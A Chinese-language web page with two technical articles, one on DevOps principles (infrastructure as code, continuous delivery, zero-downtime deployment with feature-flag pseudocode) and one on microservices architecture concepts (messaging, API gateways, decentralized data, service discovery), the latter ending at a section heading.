DevOps所关注的不是工具本身，也不是对chef或Docker的掌握程度。DevOps是一种方法论，是一系列可以帮助开发者和运维人员在实现各自目标（Goal）的前提下，向自己的客户或用户交付最大化价值及最高质量成果的基本原则和实践。

开发者和运维人员之间最大的问题在于：虽然都是企业中大型IT部门不可或缺的，但他们有着截然不同的目的（Objective）。

开发者和运维人员之间目的上的差异就叫做混乱之墙。下文会介绍这个概念的准确定义，以及为什么我认为这种状况很严峻并且很糟糕。

DevOps是一种融合了一系列基本原则和实践的方法论（并从这些实践中派生出了各种工具），意在帮助这些人员向着一个统一的共同目的努力：尽可能为公司提供更多价值。

令人惊奇的是，这个问题竟然有一个非常简单的“银子弹”：让生产端变得敏捷起来！

而这恰恰正是DevOps所要达成的唯一目标！

但在进一步讨论这一点之前，首先需要谈谈其他几件事。

1.1 管理信条

IT管理这场战争的原动力到底是什么？换句话说，在软件开发项目中，管理工作首要的，以及最重要的目的是什么？

有什么想法吗？

我来提供一个线索吧：在建立一家初创公司时，最重要的事情是什么？

当然是要加快上市时间（TTM）！

上市时间（即TTM）是指一件产品从最初的构思到最终可供用户使用或购买这一过程所需要的时间。对于产品很快会过时的行业，TTM是一个非常重要的概念。

在软件工程方面，所采用的方法、业务，以及具体技术几乎每年都会变化，因而TTM就成了一个非常重要的KPI（关键绩效指标）。

TTM通常也会被叫做前置时间（Lead Time）。

第一个问题在于，（很多人认为）在开发过程中TTM和产品质量是两个对立的属性。在下文可以看到，改善质量（进而提高稳定性）是运维人员的目的，而开发者的目的在于降低前置时间（进而提高TTM）。

请容我来解释一下。

IT组织或部门通常会通过两个关键的KPI进行评估：软件本身的质量，因而需要尽可能减少缺陷的数量；此外还有TTM，因而需要将业务构想（通常由业务用户提供）变为最终成果，并以尽可能快的速度提供给用户或客户。

这里的问题在于，大部分情况下这两个截然不同的目的是由两个不同团队提供支持的：负责构建软件的开发者，以及负责运行软件的运维人员。

1.2 一个典型的IT组织

在组织内部负责管理重要IT部门的典型IT组织通常看起来是这样的：

主要由于历史的原因（大部分运维人员来自硬件和电信业务领域），运维人员和开发者分属不同的组织结构分支。开发者属于研发部门，而运维人员大部分时候属于基础架构部门（或专门的运维部门）。

别忘了，他们有着不同的目的：

此外作为旁注，这两个团队有时候会使用不同的预算来运营。开发团队使用构建（Build）预算，运维团队使用运营（Run）预算。不同的预算，对控制权越来越高的需求，以及企业IT成本的缩水，这些因素结合在一起会进一步放大两个团队各自目的的对立性。

（依本人愚见，时至今日，随着人与人之间无时无刻随时随地进行的交互，以及由不同目的推动着企业和社会进行数字化转型，IT预算方面古老的“规划/构建/运行”框架已经不那么合理了，不过这又是另一回事了。）

1.3 运维人员测挫败感

接下来看看运维人员，一起看看典型的运维团队把大部分时间都花在哪里了：

（来源：Study from Deepak Patil [Microsoft Global Foundation Services] in 2006, via James Hamilton [Amazon Web Services]

生产团队有将近一半（47%）的时间花在了与部署有关的工作中：

执行实际的部署工作，或
修复与部署工作有关的问题

这样的KPI其实相当疯狂，但实际上我们早就应该采纳。实际上早在40年前，计算机科学的“原始时代”就已涌现出运维团队，当时计算机主要运用在工业界，运维人员需要手工运行大量命令来执行自己的任务。为了履行职责，他们已经习惯于按照清单运行各种各样的命令或手工流程。

突然有一天他们终于意识到自己“总在做着相同的事情”，然而长达四十多年的工作过程中却几乎没人考虑过变革。

考虑到这一点你会发现，实在是太疯狂了。平均来说，运维人员将近一半的时间都在处理与部署有关的任务！

为了改变这种状况，必须考虑到两个最关键的需求：

通过自动化部署将目前这种手工任务所需的时间减少31%。
通过产业化措施（类似于通过XP和敏捷实现的软件开发产业化）将需要处理的与这些部署有关的问题减少16%。

1.4 基础架构自动化

在这方面也有一个相当富有启发性的统计结果：

以手工操作的数量所表示的成功部署概率。

这些统计告诉我们：

只需手工运行5条命令的情况下，成功部署的概率就已跌至86%。
如需手工运行55条命令，成功部署的概率将跌至22%。
如需手工运行100条命令，成功部署的概率将趋近于0（仅2%）！

成功部署意味着软件能够按照预期在生产环境中运行。未能成功部署意味着有东西出错，可能需要进行必要的分析才能了解部署过程中哪里出错，是否需要应用某种补丁，或需要修改某些配置。

因此让这一切实现自动化并不惜一切代价避免手工操作似乎是个好主意，对吧？

那么行业里这方面的现状是怎样的：

（来源：IT Ops & DevOps Productivity Report 2013 - Rebellabs ）

（说实话，这个统计信息比较老了，是2013年的结果，相信现在的结果会有所不同）

然而这也可以让我们明确的知道，在基础架构自动化方面我们还有多远的路要走，并且DevOps的基本原则和实践依然是那么的重要。

网络巨头们当然会通过新的方法和实践及时满足自己的需求，他们早已开始构建自己的工程业务，而正是他们所确立的实践逐渐衍生出当今我们所熟悉的DevOps。

看看这些网络巨头们在这方面目前所处的位置吧，举几个例子：

Facebook有数千名开发和运维人员，成千上万台服务器。平均来说一位运维人员负责500台服务器（还认为自动化是可选的吗？）他们每天部署两次（环式部署，Deployment ring的概念）。
Flickr每天部署10次。
Netflix明确针对失败进行各种设计！他们的软件按照设计从最底层即可容忍系统失败，他们会在生产环境中进行全面的测试：每天通过随机关闭虚拟机的方式在生产环境中执行65000次失败测试…… 并确保这种情况下一切依然可以正常工作。

他们这种做法秘密何在？

1.5 DevOps：仅此一次，一颗神奇的银子弹

他们的秘密很简单：将敏捷扩展至生产端：

DevOps的共存主要是为了扩展敏捷开发实践，进一步完善软件变更在构建、验证、部署、交付等阶段中的流动，同时通过软件应用程序的全面所有权予力跨职能团队完成从设计到生产支持等各环节的工作。

DevOps鼓励软件开发者和IT运维人员之间所进行的沟通、协作、集成和自动化，借此有助于改善双方在交付软件过程中的速度和质量。

DevOps团队更侧重于通过标准化开发环境和自动化交付流程改善交付工作的可预测性、效率、安全性，以及可维护性。理想情况下，DevOps可以为开发者提供更可控的生产环境，帮助他们更好地理解生产基础架构。

DevOps鼓励团队自主进行自己应用程序的构建、验证、交付和支持。

那么核心原则到底是什么？

下文将介绍最重要的三大基本原则。

2. 基础架构即代码

人总会犯错，因为人脑实在是不擅长处理重复性的任务，相比Shell脚本，人类的速度实在是太慢了。毕竟我们都是人类，因此有必要像处理代码那样考虑和处理有关基础架构的概念！

基础架构即代码（IaC）是大部分通用DevOps实践的前提要求，例如版本控制、代码审阅、持续集成、自动化测试。这一概念涉及计算基础架构（容器、虚拟机、物理机、软件安装等）的管理和供应，以及通过机器可处理的定义文件或脚本对其进行的配置，交互式配置工具和手工命令的使用已经不合时宜了。

这一原则对DevOps的重要性怎么强调都不为过，它可以真正将软件开发相关的实践应用给服务器和基础架构。

云计算使得复杂的IT部署可以继续效仿传统物理拓扑。我们可以相对轻松地对复杂虚拟网络、存储和服务器的构建实现自动化。服务器环境的方方面面，上至基础架构下至操作系统设置，均可编码并存储至版本控制仓库。

2.1 概述

以非常概括的方式来看，基础架构和运维所需实现的自动化程度可通过下图这种架构来表示：

上述架构图中作为示例的工具主要面向不同层的构建工作，实际上DevOps工具链的作用远不止如此。

我觉得在这里可以略微深入地谈谈DevOps的工具链了。

2.2 DevOps工具链

DevOps实际是一种文化上的变迁，代表了开发、运维、测试等环节之间的协作，因此DevOps工具是非常多种多样的，甚至可以由多种工具组成一个完整的DevOps工具链。此类工具可以应用于一种或多种类别，并可体现出软件开发和交付过程的不同阶段：

编码：代码开发和审阅，版本控制工具、代码合并工具
构建：持续集成工具、构建状态统计工具
测试：通过测试和结果确定绩效的工具
打包：成品仓库、应用程序部署前暂存
发布：变更管理、发布审批、发布自动化
配置：基础架构配置和部署，基础架构即代码工具
监视：应用程序性能监视、最终用户体验

虽然可用工具有很多，但其中一些环节是组织内部应用DevOps工具链不可或缺的。

诸如Docker（容器化）、Jenkins（持续集成）、Puppet（基础架构构建）、Vagrant（虚拟化平台）等常用、广泛使用的工具都是2016年的DevOps热门工具。

基础架构组件的版本控制、持续集成和自动化测试

基础架构的版本控制能力（而非基础架构的构建脚本或配置文件）及对其进行自动化测试的能力极其重要。

DevOps最终会将30年前软件工程领域所采用的同一套XP实践带至生产端。

此外基础架构元素应该能向软件交付物一样进行持续集成。

2.3 收益

DevOps的收益有很多，包括但不限于：

可重复性与可靠性：时至今日，构建生产用计算机只需要运行脚本或必要的puppet命令即可。通过恰当地使用Docker容器或Vagrant虚拟机，只需运行一条命令即可配置好包含操作系统层以及所需软件和配置的生产用计算机。当然，随着各种变更或软件开发、持续集成，并自动测试，这套构建脚本或机制也会进行持续集成。

最终幸亏有了XP或敏捷，我们在软件开发端所使用的同一套实践也能让运维端获益。

生产力：一键部署，一键供应，一键创建新环境……整个生产环境可以通过一条命令或一键点击的方式创建。这样的一条命令也许会运行长达数小时，但在这过程中运维人员可以从事其他更有趣的工作，而无需等待一条命令执行完毕后继续输入下一条命令，毕竟这样的过程有时候可能需要花费几天时间才能完成……
恢复时间！：一键点击即可恢复生产环境，就是这么简单。
确保基础架构的同质：彻底避免运维人员每次构建环境或安装软件时最终获得的结果与预期有所差异，这是确保基础架构绝对同质（Homogeneous）并且可再现的唯一可行方法。以此为基础，通过对脚本或Puppet配置文件使用版本控制机制，我们甚至可以重建出与上周、上个月，或软件特定版本发布时完全一致的生产环境。
维持整齐划一的标准：基础架构标准甚至可以不复存在，代码本身就是标准。
让开发者自行完成大部分工作：如果开发者自己突然可以在自己的基础架构上一键点击重建生产环境，他们也就可以自行完成很多与生产环境有关的任务，例如更好地理解生产失败，提供更恰当的配置，实现部署脚本等。

这只是我个人感觉IaC可提供的部分收益，相信还有很多其他收益。

3. 持续交付

持续交付是一种可以帮助团队以更短的周期交付软件的方法，该方法确保了团队可以在任何时间发布出可靠的软件。该方法意在以更快速度更高频率进行软件的构建、测试和发布。

通过对生产环境中的应用程序进行更高频次的增量更新，这种方法有助于降低交付变更过程中涉及的成本、时间和风险。足够简单直接并且可重复的部署流程对持续交付而言至关重要。

注意：持续交付 ≠ 持续部署 - 有时候很多人会把持续交付误认为成持续部署。持续部署是指每个变更可以自动部署到生产环境。持续交付是指团队确保每个变更可以部署至生产环境，但也许并不需要实际部署，这通常可能是出于业务方面的原因。只有成功实现持续交付的前提下，才能进行持续部署。

持续交付的主要想法在于：

部署越频繁，对部署流程就会越熟悉，自动化机制就能获得更好的结果。如果同一件事每天需要执行3次，很快你将变的无比娴熟，但很快也会因为日复一日解决同样的问题而感到厌烦。
部署越频繁，所部属的变更集就越微不足道，而这些微不足道的内容最有可能出错，甚至可能导致丢失对整个变更集的控制力。
部署越频繁，TTR（修复／解决所需时间）指标就会越出色，从业务用户处获得有关功能的各类反馈的速度越快，作出改进以便完美满足对方需求的过程也会越简单（这方面TTR与TTM其实非常相似）。

（来源：Ops Meta-Metrics: The Currency You Pay For Change ）

但持续交付并不仅仅是尽可能频繁地构建可发布、生产就绪版本的软件产品那么简单。持续交付包含3个关键实践：

从实践中学习
自动化
更频繁的部署

3.1 从实践中学习

持续交付的关键在于要能从实践中学习。真理并不存在于开发团队中，而在于业务用户中。然而无论花多长时间，没人能真正清楚地表达自己的想法，或者将自己的想法用清晰的文档概括出来。也正是因此，敏捷方法论强调将功能提供给用户，并不惜一切代价从用户处获得尽可能多的反馈。

持续交付与持续部署类似，需要尽可能减少前置时间，这也是尽快从用户处获得“真理”的关键。

但真理绝对不会来自正规形式的用户反馈。我们绝不能尽信自己的用户或寄希望于通过正规形式的反馈了解用户。我们只能相信自己的度量。

痴迷于度量是精益创业（Lean Startup）活动中一个重要的概念，但这一概念对DevOps同样重要。我们应该度量一切！确定最恰当的度量指标可以让团队了解某种方法最终能否成功或失败，了解怎样做可以获得更好的结果，以及哪些最成功的做法同时也蕴含着一定的风险。为了帮助团队做出更明智的决策，在确定要衡量的指标时，一定要抱着“宁多勿少”的原则。

不需要“考虑”，只需要“知道”！“知道”的唯一方法就是度量，度量一切：响应时间、用户思考时间、展示次数、API调用次数、点击率等，但这些并非需要度量的全部。找出所有能让你更进一步了解用户对功能看法的度量指标，对所有这些指标进行度量！

这种方法可以表示为如下形式：

3.2 自动化
自动化已经在上文2. 基础架构即代码一节进行了讨论。

在这里我想强调的是，在没有将与基础架构有关的所有供应和任务实现妥善、全面的自动化之前，持续交付根本无从谈起。

这一点很重要，因此有必要再重复一遍：环境的搭建和生产就绪版本软件的部署只需要一键点击，只需要运行一条命令，整个过程应该自动完成。否则根本无法设想能一天多次部署同一个软件。

在下文的3.5 零停机部署一节中，还将介绍有助于自动化交付的其他重要技术。
 
 
3.3 更频繁的部署
DevOps的信条在于：

“越是困难的事，需要更频繁地进行！”

敏捷思维中，困难任务更要迎难而上，更频繁地去做，这中想法非常重要。

自动化测试、重构、数据库迁移、面向客户的产品规格、规划、发布 - 所有这些活动都要尽可能频繁地进行。

原因主要有三点：
首先，随着要做的工作量逐渐增加，这些任务也会变的愈加困难，但如果能拆解为小块，则会变的相对容易些。以数据库迁移为例：一些涉及大量表的大规模数据库迁移工作很麻烦，容易出错。但如果一次只迁移一部分，则可以相对较容易地成功完成整个迁移任务。此外还可以轻松地将多个小规模的迁移任务安排成一定的序列，在将一个艰难的大任务拆解为一系列容易实现的小目标后，处理起来就简单多了。（这也是数据库重构的本质）第二个原因在于反馈。大部分敏捷思维关注的是设置反馈环路，借此让我们更快速地学习了解。反馈已经是极限编程（Extreme Programming）中一个非常重要，蕴含巨大价值的概念。在诸如软件开发等复杂流程中，我们需要更频繁地检查自己的最新进展，并进行必要的纠正。为此我们必须尽一切可能创建反馈环路，并提高反馈的频率，这样才能更快速地酌情做出调整。第三个原因是实践。对于任何活动，越频繁地从事就越能获得完善。实践可以帮助我们理清整个流程，让我们更熟悉代表有事情出错的征兆。只要认真琢磨自己从事的工作，就能提炼出近一步完善所需的实践。对于软件开发，也有可能实现一定程度的自动化。一旦有人将某件事做了多次，就可以更容易地确定该如何进行自动化，更重要的是，这样的人在对这些事情实现自动化方面将有更大的动机。此时自动化尤为重要，因为可以加快速度并降低出错的概率。




那么这就产生了一个问题：使用DevOps方法时，该选择怎样的交付频率？

这个问题没有标准答案，而是取决于产品、团队、市场、公司、用户、运维需求等各种因素。

我认为最佳答案应该是：如果不能实现至少每两周一次交付，或在冲刺阶段结束时交付，那么连敏捷都谈不上，DevOps又从何谈起呢？

DevOps鼓励我们尽可能频繁的交付。在我看来，你需要对团队进行培训，让他们能够做到尽可能频繁的交付。我在我的团队中使用的一种较为可行的方法是在QA环境中每天交付两次。交付过程是完全自动化的：每天两次，中午和午夜各一次，计算机启动起来，构建软件组件，运行集成测试，构建并启动虚拟机，部署软件组件，对其进行配置，运行功能测试等。
 
3.4 持续交付的前提需求
在改为使用持续交付方式之前，需要满足哪些要求？

我草拟的需求清单如下：
对软件组件的开发和平台的供应和设置进行持续集成。TDD - 测试驱动的开发。这一点还有待商榷……但始终还是需要面对：TDD是目前唯一能通过单元测试对代码和分支进行可接受程度覆盖的方法（单元测试使得问题的修复过程比集成测试或功能测试容易很多）。代码审阅！至少要进行代码审阅……如果能进行结对编程（Pair programming）当然就更好了。软件的持续审计 - 例如使用Sonar。在生产级环境实现功能测试的自动化。更强大的非功能测试自动化（性能、可用性等）。独立于目标环境的自动化打包和部署。
另外在管理重大功能和演进时，还需要具备健全的软件开发实践，例如零停机部署技术。
 
 
3.5 零停机部署
 
“零停机部署（ZDD）可在不中断现有服务的情况下部署新版系统。”

通过ZDD方式部署应用程序时，可在确保用户不会遭遇应用程序停机的前提下将新版应用引入生产环境。从用户和公司的角度来看，这应该是最佳部署方式，因为可以在不造成任何中断的情况下引入新功能并修复Bug。

下文将介绍4种技术：
功能开关（Feature Flipping）摸黑启动（Dark launch）蓝／绿部署（Blue/Green Deployment）金丝雀发布（Canari release）
 
功能开关
功能开关可供我们在软件运行过程中启用／禁用相应的功能。这种技术其实非常容易理解和使用：为生产版本提供一个能彻底禁用某项功能的配置，并只在对应功能彻底完工可以正常工作后才将该属性激活。

举例来说，若要将某个应用程序内的一个功能全局禁用或激活：
if Feature.isEnabled('new_awesome_feature')
# Do something new, cool and awesome
else
# Do old, same as always stuff
end或者如果要真对具体用户实现类似目的：

if Feature.isEnabled('new_awesome_feature', current_user)
# Do something new, cool and awesome
else
# Do old, same as always stuff
end 摸黑启动
摸黑启动的目的在于通过生产环境进行负载模拟！

在测试环境中，通常很难为软件模拟出成百上千万用户规模的负载。

如果不进行切实的负载测试，就无法知道基础架构能否承受住最终面临的压力。

此时并不需要模拟负载，而是可以实际部署这样的功能，然后看看在不影响可用性的前提下到底会发生什么。

Facebook将这种做法称之为功能的“摸黑启动”。

假设我们要将一个有5亿用户使用的静态搜索字段变成一个包含自动补全功能的字段，借此让用户可以更快速获得搜索结果。为该功能构建一个Web服务，并且希望模拟所有用户同时输入文字，向该Web服务生成大量请求的场景。

此时即可通过摸黑启动策略为现有表单添加一个隐藏的后台进程，通过该进程将输入的搜索关键字发送给新增的自动补全服务，并自动发送多次。

就算新增的Web服务彻底崩溃了，也不会造成任何实质损害。网页上可以完全忽略服务器错误。而就算该服务崩溃了，我们至少还可以对该服务进行优化和完善，直到能承受如此大量的负载。

这就等于在现实世界中进行了一次负载测试。
 
蓝／绿部署
蓝／绿部署是指为下一版产品构建另一个完整的生产环境。开发和运维团队可以在这个单独的生产环境中放心地构建下一版产品。

当下一版产品全部完成后，可以修改负载均衡器的配置，以透明的方式将用户自动重定向至新发布的下一版。

随后可将上一版的生产环境回收，用于构建下下一 查看全部

if Feature.isEnabled('new_awesome_feature')

    # Do something new, cool and awesome

else 

    # Do old, same as always stuff

end

if Feature.isEnabled('new_awesome_feature', current_user)

    # Do something new, cool and awesome

else 

    # Do old, same as always stuff

end 

前言

前段时间公司事情多，这篇长文写了放、放了写…耽搁了一些进度。各个自媒体的更新也慢了很多，这里给大家说句抱歉了。
 
现如今“微服务”遍地开花，已经成软件架构领域最受欢迎的热门话题之一。网上和书籍中都有很多关于微服务基础和优势的学习材料，但是我们可能会发现这东西在现实世界企业场景中似乎好像没那么普及，真正能跑的微服务资源其实也不是很多，大多是停留在概念和摸索阶段。

在这篇文章里，我打算讲讲微服务架构（MSA）的关键架构概念，以及如何在实践中将这些架构原理应用起来。





前因：单片结构

企业应用，因为服务于众多业务需求，因此会有些特定的软件应用提供许多功能，而一般惯例是把这些功能都堆在单个单片应用中。例如，ERP，CRM和其他各种软件系统被规划构建为具有数百个功能的整体。这种带坑应用一经部署，在往后的故障排除、扩展和升级场景中就是一场接一场的恶梦了。

面向服务架构（SOA）旨在通过引入“服务”的概念来克服以上的限制，“服务”是从应用程序提供的类似功能中提取出来的聚合和分组。因此，使用SOA，软件应用程序就会被设计为“粗粒度”服务的组合。然而，SOA中服务的范围非常广泛，这又引出了复杂而庞大的服务与一大堆操作（功能）以及复杂无比的消息格式和标准（如WS *标准）。




多数情况下，SOA中的服务彼此独立，只不过它们与所有其他服务一起部署在相同的运行时间里（只需考虑将部署到同一个Tomcat实例中的多个Web应用）。和单片软件应用类似，这些服务通过积累各种功而具有随时间推移的习惯。图1是一个非常好的一个单片架构的例子，显示了包括多个服务的零售软件应用，所有这些服务都能部署到同一应用程序。

说了那么多，大家是不是有点不明所以？我总结了一些重点，以下就是基于单片架构的应用程序的一些特性归纳：
单片应用程序被设计、开发和部署为单个单元。单片应用相对复杂，导致维护，升级和新特性困难重重。难以用单片架构来实践敏捷开发和交付方法。想更新某部分，很可能要重新部署整个应用。规模需求冲突的情况下，若想做单点扩展，要做好多倍资源甚至推倒重来的准备（例如，想给A服务更多CPU，B服务可能要重做，也可能要补两三倍memory）可靠性：一个不稳定的服务可以拖慢整个应用性能。难创新：采用新技术和框架非常困难，因为所有的功能必须建立在均匀的技术/框架上。
单片架构的天然特性，直接给微服务架构的异军突起带来了绝佳的机会。
 

后果：微服务架构

微服务架构（MSA）的基础是将单片应用作为一套小型和独立服务来开发，这些服务都在自己的空间独立开发、部署和运行。在微服务体系结构的大多数定义中，它普遍被解释为将巨大的可用服务隔离成一套独立服务的过程。

不过我对这些有自己的理解，微服务的逻辑不仅是将整个大容量服务分为独立服务，关键在于通过查看从整体提供的功能，我们就可以确定所需的业务能力。而这些业务能力可以具体实现为各自独立的细粒度和自包含（微）服务。它们可能在一个技术堆栈上实现，每个服务都处理一个非常具体和有限的业务范围。

因此，上面解释的在线零售系统场景可以通过如图2的微服务架构实现。通过微服务架构，零售软件应用程序被规整为一套微服务。而且从图2最底下一层可以看出，根据业务需求，还多了一个从原始服务组合中额外创建的一个微服务。换句话说，想跟进微服务，要有超大容量服务可能会分裂的准备，不过我相信相比于进步，这点麻烦值得付出。 




所以，铺垫了那么多，现在我们深入了解微服务的关键架构原理，这里重要的是最好带着实践的思路来思考问题。
 

设计微服务：大小，范围和功能

通过Microservices Architecture可以从头开始构建软件应用或改造现有应用程序/服务…无论是哪种方法，正确判定Microservices的大小，范围和功能，都至关重要。我感觉，这可能是在Microservices Architecture实践最初（对的，“最初”这个词用的没错）最难的事了。

现在聊聊关于微服务的规模、范围和功能的关键实践问题和对一些坊间误解的辟谣。
代码行数/团队规模都是坑B指标：这里先引入一个概念，双披萨团队，有兴趣的可以去深入了解。根据实施代码或团队规模，有几个讨论决定了Microservices的大小。然而，这些被认为是非常不切实际和糟糕的指标，即便我们仍然可以使用较少的代码/双比萨团队做规模开发，但这种思路完全违反了微服务架构主体。'Micro'有点误导性的词语：大多数开发人员倾向于认为他们应尽可能的减少服务，这是一个天然的误解。在SOA上下文中，服务通常被实现为具有数十个操作/功能的单片全局。所以，像SOA这样的服务就算命名为微服务，不会给你带来微服务架构的好处。
 
那么那么我们应该如何在微服务架构中正确设计服务？
 

微服务设计指南

单一责任原则（SRP）：为微服务提供有限和重点突出的业务范围，有助于我们满足开发和提供服务的敏捷性。在微服务的设计阶段，我们应该找到各服务的边界，并将其与业务能力（也称为域驱动设计中的有界环境 ）保持一致。微服务设计要确保敏捷/独立开发和部署服务的丝滑稳定。我们的重点应该放在微服务的范围上，而不是使服务更"小"。服务的大小应该是指所需的范围大小，以促进给定的业务能力。与SOA中的服务不同，给定的微服务应该具有很少的操作/功能和简单的消息格式。随着时间的推移，首先开始具有相对广泛的服务边界，重构到较小的服务界限（基于业务需求），这是一个很好的做法。
在我们的零售用例中，整体功能分为四个不同的微服务，即“库存”，“会计”，“运输”和“存储”。他们正在解决一个有限但重点突出的业务范围，使每个服务彼此完全脱钩，并确保开发和部署中的敏捷性。
 

微服务中的消息传递

在单片应用中，使用函数调用或语言级方法调用不同处理器/组件的业务功能。在SOA中，这种转移趋向于更为松散耦合的Web服务级别消息传递，主要基于不同协议（如HTTP，JMS）之上的SOAP。而具有数十种操作和复杂消息模式的Web服务是Web服务普及的关键阻力。对于Microservices架构，它需要简单而轻量的消息传递机制就行。
 

同步消息 - REST，Thrift

对于同步消息传递（客户端期望从服务及时得到响应并等待到达），在微服务体系结构中，REST是主流标配，因为它提供了基于资源API风格的HTTP请求响应实现的简单消息传递方式。因此，大多数微服务实现都使用HTTP以及基于资源API的风格（每个功能都以资源和在这些资源之上执行的操作来表示）。




另外，Thrift （可以在其中为微服务定义接口定义）可以作为REST / HTTP同步消息传递的替代方法。
 

异步消息 - AMQP，STOMP，MQTT

对于某些需要使用异步消息传递技术（客户端不期望立即响应或根本不接受响应）的微服务场景。多看看诸如AMQP， STOMP或MQTT之类的异步消息协议就好了。
 

消息格式 - JSON，XML，Thrift，ProtoBuf，Avro

决定微服务最适合的消息格式是另一个关键因素。传统单片应用使用二进制格式（习惯了，表示还好不算复杂）；基于SOA / Web服务的应用使用基于复杂消息格式（SOAP）和模式（xsd）的文本消息。而在大多数基于微服务器的应用中，简单基于文本的消息格式即可，如JSON和XML，反正就是基于HTTP资源API风格跑起来。在我们需要二进制消息格式的情况下（文本消息在某些用例中可能会变冗长），微服务可以利用二进制消息格式，如Thrift，ProtoBuf或Avro…
 

服务合同 - 定义服务接口 - Swagger, RAML, Thrift IDL

若你把业务能力实现为服务，就需要定义和发布服务合同。传统单片应用几乎找不到这样的功能来定义应用的业务功能。在SOA/Web服务的世界里，WSDL用于定义服务合同。不过众所周知，WSDL不是用于定义微服务合同的理想解决方案，因为WSDL非常复杂且与SOAP紧密耦合。

由于我们在REST架构风格之上构建微服务器，所以我们可以使用相同的REST API定义技术来定义微服务器的合同。因此，微服务更多情况下用标准的REST API定义语言（如Swagger和RAML） 来定义服务契约。
对于不基于HTTP/REST（如Thrift）的其他微服务实现，可以用协议级别的“接口定义语言（IDL）”（如Thrift IDL）。
 

集成微服务（Inter-service / process communication）

在微服务架构中，软件应用程序被构建为一套独立的服务。因此，为了实现业务用例，需要在不同的微服务/流程之间建立通信结构。这就是为什么微服务之间的服务间/过程通信至关重要的原因。
 
在SOA实现中，服务之间的服务间通信通过企业服务总线（ESB）来实现，大部分业务逻辑都位于中间层（消息路由，转换和业务流程）中。然而，微服务架构促进消除中央消息总线/ESB，并将“智能”或业务逻辑移至服务和客户端（称为“智能端点”）。

由于微服务使用诸如HTTP，JSON等标准协议，因此在微服务之间的通信中，与不同协议集成的要求是最小的。Microservice通信中的另一种替代方法是使用轻量级的消息总线或网关，它们有最小的路由功能，并且仅用作在网关上实现业务逻辑的“dumb pipe”。基于这些风格，在微服务架构中不可避免的出现了几种通信模式。
 

点到点风格 - 直接调用服务

以点对点的形式，消息路由逻辑的整体跑在每个端点之上，服务可以直接通信。这里每个微服务器都暴露一个REST API，一个给定的微服务器或外部客户端可以通过对应的REST API调用另一个微服务器。




显然，这个模型适用于相对简单的基于微服务的应用。随着服务数量增加，复杂就会压倒一切的源头。传统SOA实现中使用ESB也是相同的原因，不过是为了摆脱混乱的点对点集成链接。总结微服务通信中点对点风格的缺点：
须在每个微服务级别实现终端用户认证，限制，监控等非功能性要求。由于不可避免的复制一些常用功能，每个微服务实现可能会变得复杂。服务和客户端之间的所有通信都无法控制（哪怕只是监控，跟踪或过滤）。通常直接沟通风格被认为是用于大规模微服务实现的微服务反向模式。
特征说完，总结：对于复杂的微服务用例，可以考虑轻量级的中央消息总线，而不是点对点连接或中心ESB，思路是为微服务提供一个抽象层，并可用于实现各种非功能的能力，这种风格被称为API网关风格，往下看。
 

API网关样式

API网关风格背后的关键思想是使用轻量级消息网关作为所有客户端/消费者的主要入口点，并在Gateway级别实现常见的非功能需求。通常，API网关允许通过REST/HTTP使用受管API。因此，在这里，我们可以将通过API-GW实现作为微服务的业务功能公开为管理API。Microservices架构和API管理的组合，这个算是最佳选择了。




在我们的零售业务场景中，如图5，所有的微服务都通过API-GW公开，这是所有客户端的单个入口点。总结下API-GW风格优势：
能够在现有微服务的网关级别提供所需的抽象。例如，API网关可以为每个客户端提供不同的API，而不是提一个所有类型的API。网关级、轻量级消息路由/转换。非功能性功能（如安全性，监控和调节）的应用能如臂指使。API-GW模式让非功能性要求在Gateway级别实现，微服务得以瘦身。
比较推荐API-GW，我没具体了解过，但这个应该也是应用最广泛的模式。
 

Message Broker风格

微服务还可以和异步消息的场景集成，比如队列或主题的单向请求以及订阅。给定的微服务可以做消息生成，并且它可以异步地将消息发送到队列或主题。那么消费的微服务器可以消耗来自队列或主题的消息。这种风格将消息生成与消息消费分离，中间消息代理缓冲直到消费处理。




消费/生产之间的通信基于异步消息标准（例如AMQP，MQTT等）的消息代理来实现。
 

分散式数据管理

单片架构中，应用将数据存储在单个和集中的数据库中，以实现应用的各种功能/功能。




在微服务体系结构中，功能分散在多个微服务器中，如果我们使用相同的集中式数据库，那么微服务器将不再彼此独立（例如，如果数据库模式已经从给定的微服务器发生变化）。因此，每个微服务器都必须拥有自己的数据库。




以下是在微服务架构中实施分散数据管理的关键方面：
每个微服务器都可以有一个私有数据库来保存实现从其提供的业务功能所需的数据。给定的微服务器只能访问专用私有数据库，而不能访问其他微服务器的数据库。某些业务场景中，可能单个事务需要更新多个数据库。在这种情况，其他微服务器的数据库应仅通过其服务API进行更新，而非直接访问。
非集中式数据管理提供完全解耦的微服务器，以及选择不同数据管理技术（SQL或NoSQL等，按需分配，可能不同数据库管理系统）的自由。再者对于涉及多个微服务的复杂事务用例，事务行为必须使用从每个服务提供的API来实现，并且逻辑位于客户端或中间（GW）级别。
 

权力下放的治理思维

微服务架构倾向于分散治理。一般来说，SOA治理指导了可重用服务的开发，建立如何设计和开发服务以及这些服务随时间的变化。它确定了服务提供商和这些服务的消费者之间的协议，告诉消费者他们期望什么以及提供者有义务提供什么。在SOA治理中，共有两种类型的治理：
设计时治理 - 定义和控制服务策略的服务创建，设计和实施；运行时管理 - 执行期间执行服务策略的能力；
那么，微服务环境中的治理究竟怎么理解？在微服务架构中，微服务通过各种技术和平台构建为完全独立和解耦服务。因此，不需要为服务设计和开发定义一个共同的标准。总结下微服务的权力下放治理能力：
在微服务架构中，管理不需要集中设计。微服务器可以因地制宜，决定其设计和实现。微服务架构促进了共享/可重用服务的共享。一些运行时管理方面，如SLA，节流，监控，常见安全要求和服务发现可以在API-GW级别实现。
 

服务注册和服务发现

在微服务架构中，需要处理的微服务器数量相当高。而且，由于微服务的快速和敏捷的开发/部署性质，他们的位置一般来说也会动态变化。因此，你需要在运行时间内找到微服务器的位置。解决此问题的方法是使用Service Registry。
 
服务注册表:
服务注册表保存微服务实例及其位置。Microservice实例在启动时注册到服务注册表，并在关机时注销。消费者可以通过服务注册表找到可用的微服务及其位置。
 
服务发现:
要找到可用的微服务及其位置，我们要一个服务发现机制。有两种类型的服务发现机制，客户端发现和服务器端发现，来看看这些服务发现机制各原理如何。
 
客户端发现：
在这种方法中，客户端或API-GW通过查询服务注册表来获取服务实例的位置。




这里客户端/API-GW必须通过调用Service-Registry组件来实现服务发现逻辑。
 
服务器端发现：
通过这种方法，客户机/API-GW将请求发送到在众所周知的位置运行的组件（如负载平衡器）。该组件调用服务注册表并确定微服务器的绝对位置。




Kubernetes等微服务部署解决方案提供了服务端发现机制，自媒体里链接不能发就算了。
 

部署

